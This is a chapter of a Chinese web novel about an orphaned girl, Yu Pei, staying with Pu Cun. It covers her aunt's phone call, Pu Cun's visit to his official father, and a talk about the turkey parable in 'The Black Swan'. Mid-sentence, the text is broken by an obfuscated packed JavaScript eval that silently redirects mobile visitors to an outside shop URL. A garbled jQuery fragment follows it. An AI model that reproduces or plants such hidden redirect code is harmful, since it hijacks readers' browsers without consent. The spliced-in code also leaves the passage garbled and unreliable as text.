Ch.011
余沛终于看完了那本书。
那是本美国律师写的辩护纪实,书里的案子一个比一个棘手,几乎找不到转圜的余地,最后却都被作者撬开缺口,极限翻盘。
唯独全书最后一个案子,作者写的是自己的失败。
余沛起初没意识到这一点,直到翻到最后一页,才确认这个案子真的就这样结束了。
书的最后几页,作者写自己受到的限制,写人与人之间的龃龉,也写那些质疑、羞辱,写他做了能做的一切,却没能得到想要的结果。
余沛将书合上,轻叹一声。
她看书很细心,书又是从蒲存那里借阅的,便更加爱护,从不在吃饭喝水的时候看,甚至洗完手之后,都会等皮肤上的水汽彻底干掉再翻书。
她把书插回原本的位置,在书架上寻觅下一本。
前几本她都是挑中文的看,但这一回,一排英文书中,有一本的书名吸引了她的注意——《TheBlackSwan》。
黑天鹅?
余沛想到了小时候上过的芭蕾舞课。或者是童话故事?
她有点意外蒲小叔居然也会看这类书,好奇心驱使,她将那本黑天鹅抽了出来,拿去了沙发。
下午,余沛正看着书,手机响了。
因为蒲存主动给她发的那条短信,余沛这两天都把手机放在手边,所以她一眼就看见了来电显示的“舅妈”。
电话接起,邓莹莹问她这段时间都在哪里住的。
余沛没立刻回答。
她再来北京已经一个多月了,舅妈这时才打来电话问,答案对她来说真的重要吗?
听筒里安静了几秒,邓莹莹估计以为是电话断线了,叫了句:“小水?”
余沛只好告知她,说自己暂住在一个认识的长辈家里。
邓莹莹听言,扬起声音追问道:“是在北京吗?”
“……是。”余沛握着手机,眉心轻轻蹙了一下,问舅妈,“您怎么知道的呀?”
邓莹莹一听余沛当真去了北京,语调更轻快了:“我今天见了你舅舅的律师,你舅舅说……哎,反正你舅舅还问起你了,我心想给你打个电话,问问你怎么安顿的。”
余沛眼皮些微发热,舅舅试图利用她去托关系,但到最后,他还是关心她的。
她有那么一点安慰,这世上还有亲人在乎她。
“对了小水,”邓莹莹忽然想起什么的语气,“你爸妈前两天先后过了七七,老人都说过了七七,人就算是彻底安息了。北京的佛寺啊、庙啊什么的不是特别多还特别灵嘛,你去给菩萨、佛祖上上香,给你爸妈积点福,求他们在那边好好的,尤其他们还都是……”
邓莹莹及时收声,余沛的心却被狠扯了一把似的。
“你去求肯定最好的了,也算尽了孝心。”邓莹莹又说。
余沛没支声,她对这些事毫无头绪。
她从没见过自己的祖辈,之前也未经历过亲人由生到死,因此她不信这些,也很难理解。
她不懂,既然爸妈生前自己都没能把他们留住,如今他们都死了,她又能做什么呢?
余沛沉默着,邓莹莹也就不多说了,只问她:“那小水,你准备什么时候回来?”
余沛揣度着舅妈口中的“回”字,听见电话那头又问:“你那个爷爷家挺好的吧?”
余沛解释:“我没在蒲爷爷家,……是在叔叔家。”
“噢,那差不多的。”邓莹莹说,“我听你舅舅说了,他们家都是干部家庭。”
余沛抿住嘴唇,没话说了。
“你暂时不想回来的话,就先在北京那边待着吧。”邓莹莹自顾自说,“那帮家属这两天才消停点,不知道还会不会再来呢。”
舅妈突然改口,余沛嘴边的话转了半天,艰难开口:“但我不能一直留在这边……”
“不是不是,”邓莹莹连声说,“舅妈不是不让你回来的意思,你肯定得回来,你要是不嫌闹心,早回也行。”
余沛压下喉间的哽塞,轻“嗯”了一声。
那边邓莹莹叹息一声:“摊上这种事也没什么办法,咱们就是这种命。”
闻言,余沛默默低下了头。
*
礼拜天下午,蒲存回了趟西边的家。
他平时不常回去,除非老爷子亲自叫了,不然他一两个月回一次也属寻常,回去也不过夜。
这天,会客厅又有客人在。
蒲师辉马上退休,正式卸任也就是这几个月的事。因而这一阵,来家里坐的人比往常还多。
蒲存进门时,蒲师辉正与客人喝着茶叙话,蒲存打了个招呼。
对方姓沈,蒲存叫沈叔叔。
人到中年,沈叔叔发福了不少,看见蒲存,笑得很喜庆地说:“小存啊?我得有……四五年没见你了吧?上次好像还是你毕业回来,你爸让你回国你不回,给你爸气的。”
沈叔叔说着故意撩一眼蒲师辉,后者鼻子里哼出一声笑。
蒲存顺着话头玩笑:“这不是怕给人气坏了,回来了。”
沈叔叔笑着从沙发上站起来,上下打量蒲存一番。眼前的年轻人身量高而挺拔,极具男人硬朗气质的同时,五官估计跟了他妈妈,生得很是俊秀。尤其一双眼睛,细长秀气,清亮有神。
沈叔叔眼里欣赏意味流连:“真像样儿啊,净挑你爸妈好看的地方跟。”
蒲存笑笑,没接这茬。
陪客人坐了一会儿,沈叔叔问蒲存:“我听你爸说你做的是工业无人机,将来走军警口儿,电网巡检也做?”
蒲存点头:“是,正在做。”
“做到哪一块儿了?”
“目前就北京周边的几个项目。”蒲存说。
沈叔叔几年前转去了西南的电力系统,如此便说:“我们下面正好有个山区线路巡检的项目,最近在筛供应商,回头我让他们把需求给你一份儿。”
蒲存闻言看了眼父亲,蒲师辉端着茶杯不接话。
沈叔叔注意到父子俩的眉眼官司,笑道:“可别想多了啊,我不负责批项目,也没那个权力。北京周边的单位要求都苛刻,安全和稳定性都卡得严。你们既然能把活儿拿下来,说明资质肯定是够格的,真能合作,我们也有保障不是?”
“没问题,待会儿给您留个我名片。”蒲存这才接下话头,客气道,“感谢您给机会。”
沈叔叔显然很受用这话,双下巴一摊笑了起来。
饭点前,沈叔叔起身告辞,临走前一半赞许一半鼓励地拍蒲存肩膀,让他好好干,又捏着手里的名片说:“材料记着给我。”
蒲存应了句“好”。
饭桌上,阿姨晚饭做了三菜一汤,就父子两个人吃。
蒲师辉吃饭的时候得看点东西,不看也得在手边摆着,路过餐边柜,他卷了份报纸拿在手里。
蒲存看在眼里,没管。
坐下没吃几口,蒲师辉叮嘱儿子:“沈叔叔愿意给你搭这个话,你要接了,就把事儿做好。”
“知道。”蒲存说。
蒲师辉“嗯”了一声,又说:“另外你公司有什么需要我给你打听的,提前说,我好联系人。”
蒲存头也不抬:“到时候再说吧。”
蒲师辉筷子抬起了又放下,看了儿子半晌,说:“用你老子用得这么不痛快?”
蒲存也放下筷子,抬起头,神色平静道:“是不太舒坦。您要求多,正常人情跟以权谋私之间的线我得卡好了,不能给您丢名声呐,是吧。”
蒲师辉绷起下巴,却没话可接,搛了一筷子菜。
蒲存又看了父亲一眼,接着吃饭了。
过会儿,蒲师辉忽然问:“余家的事儿怎么样了?”
“路枫已经自首了。”蒲存说。
“那个余丫头呢?”
蒲存如常道:“跟她舅妈生活。”
蒲存没说生活费由他来出,蒲师辉也没细问,只说了句:“挺好,有着落就行。”
蒲存拿起杯子喝了口水。
饭后,蒲存直接回了丽禾。
到家时,太阳还在天的半边挂着。沙发上没人,余沛刚从卧室里出来,架着两只手,张开五指的状态。
估计是没听见他回来,看见蒲存,她原地愣了下,才道了声:“蒲小叔。”
蒲存看着她,似乎有话要说,然而中途眼神一变后,就那么沉默地站在那。
四目相对,余沛微微扬起眉梢,冲他眨了眨眼。
她似乎一直都是这样,能用眼神和表情传达的,就不说不问,好像她在这个房子里发出的声音是噪音。
蒲存其实想问她打算什么时候回和西,话到嘴边就变成:“你学校什么时候开学?”
余沛张开扇风的手缓缓捏起,垂至身侧后,回答说:“还不知道。”
“哦。”蒲存了然点头,又补一句,“随便问问。”
余沛安静看着地板,似乎并没有把这后半句话当真。
*
蒲存回房先冲了个澡,头发吹了半干,换了身衣服后拿起床头刚才一直在响的手机
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964541|214442||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
是沈叔叔打来的,附带一条短信。除了说已经把蒲存的联系方式给了项目负责人以外,还贴了一个电话号码,括号里是沈叔叔女儿的名字。
下午在蒲家,沈叔叔就有撮合二人的意思,连着讲几句,蒲存和蒲师辉都没搭话,沈叔叔才罢了。没想到事后跟业务一起送来了。
蒲存给管理他名片邮箱的潘越发了条消息,告诉潘越如果对方来联系,先不要往下接洽,他亲自处理。
蒲存又给沈叔叔回复了短信,只礼貌性地提了业务相关的内容,随后便把手机丢去了床上。
蒲存阴着脸过来时,余沛正在沙发上看书。她抬头瞧着他,蒲存每次这样的表情,肯定就是要去抽烟了。
蒲存在家时,似乎只在阳台抽烟,余沛没在其他公共区域发现烟盒、打火机或烟灰缸。
她看见过几次蒲存抽烟的样子,余沛说不清那是什么感觉,总之她有意不踏入那片区域,哪怕蒲存不在。
蒲存从阳台的小圆桌上抄起烟盒,从里面叼出来一支烟点上,烟盒顺势攥手里。
他一手撑着栏杆,吐纳着烟气眺望远处的楼宇。
两支烟抽完,天空已经微微发蓝,是深蓝的暮色。
蒲存回身把燃尽的烟蒂在烟灰缸摁灭,烟盒扔回小桌上,直起身时,正看见余沛侧身去开沙发旁的落地灯。
她探着手拉开灯线,那一方空间顿时被光打亮,也照亮她安静的侧脸。
人影一晃,她坐回沙发里去,被靠背挡住。
余沛在丽禾住了一个半月,几乎只坐那一个位置。以至于后来,蒲存在家也不往那坐了。那张单人沙发像是成了她的专属。
蒲存拉开玻璃门进来,路过时瞥了眼余沛腿上放着的书,看见书页上都是英文,他停下步子,稍意外道:“你英文不错啊。”
余沛仰起脸,眼神中还带着阅读后的些许怔松,老实回答:“平时有用原版书做泛读训练。”
蒲存单手插进家居裤的口袋里,下巴朝她手里的书抬了抬,问:“看的哪本儿?”
余沛将一只手夹在书页里当书签,另一只手把书合上,露出封面上那只黑色的天鹅剪影。
看见书名,蒲存嘴角笑意更深:“这书是讲金融风险的,你看得进去?”
余沛有点不好意思地说:“我拿之前只看了书名,还以为这本是……”
“小说?”
余沛黏糊地笑着:“嗯,差不多……”
“这个你看起来太费劲,”蒲存朝书房方向偏了下头,“换一本儿去。”
余沛抬了眼,抿了抿唇欲言又止,蒲存冲她扬了下眉心:“怎么?”
“蒲小叔,我觉得……我就是书里说的那只火鸡。”
蒲存没立刻接话,缓缓敛了神色。
“书里说,一只火鸡被农场主精心养了1000天,所以火鸡以为,以后每一天都会跟过去的那1000天一样,它的生活会是安全的、有食物的。但在第1001天,为了感恩节的晚餐,农场主把那只火鸡宰掉了。”
女孩漂亮的眼睛中闪起了水光,晶莹而破碎,她憋着嘴眨掉,哽咽着说:“我就是那只原本快乐的火鸡,那1000天里,爸爸妈妈很爱我,老师喜欢我,我有很多朋友……我以为我会一直快乐,但是……”
第1001天到了,她的一切都没有了。
蒲存有点意外余沛对书里这部分内容的理解,她单纯却又早慧,悲观、甚至软弱。
蒲存欣赏强者,对这样自我哀怨的讨论不感兴趣,几欲抬脚离开,最后却一直定在原地没有走。
“你的确很像那只火鸡。”蒲存说。
余沛睫毛上挂着泪珠,要掉不掉,可怜巴巴的。
蒲存瞧见她的眼泪,却没有安慰她:“你的生活、你的朋友、你身边的一切,跟你是什么样的人几乎没有关系。那些本质上都是你父母给你的,跟农场主给火鸡的供养没多大区别。”
余沛短促地哭出一声,紧咬住下唇,只觉说不出的羞耻。
“但也只是像。”蒲存缓了点语气说,“余沛,火鸡被宰了,命没了,但你还有。”
余沛流泪的眼睛轻眨了眨,望着前方某个点。
“所以那可能只是你父母的第1001天,不是你的。”
蒲存将上半身稍稍后仰,去看她的眼睛,问:“你不想做那只火鸡是不是?”
余沛点了点头。
“那就不做。去想想有什么办法。”蒲存蹙着点眉,语气倒仍旧不重,轻缓地说,“哭有什么用?”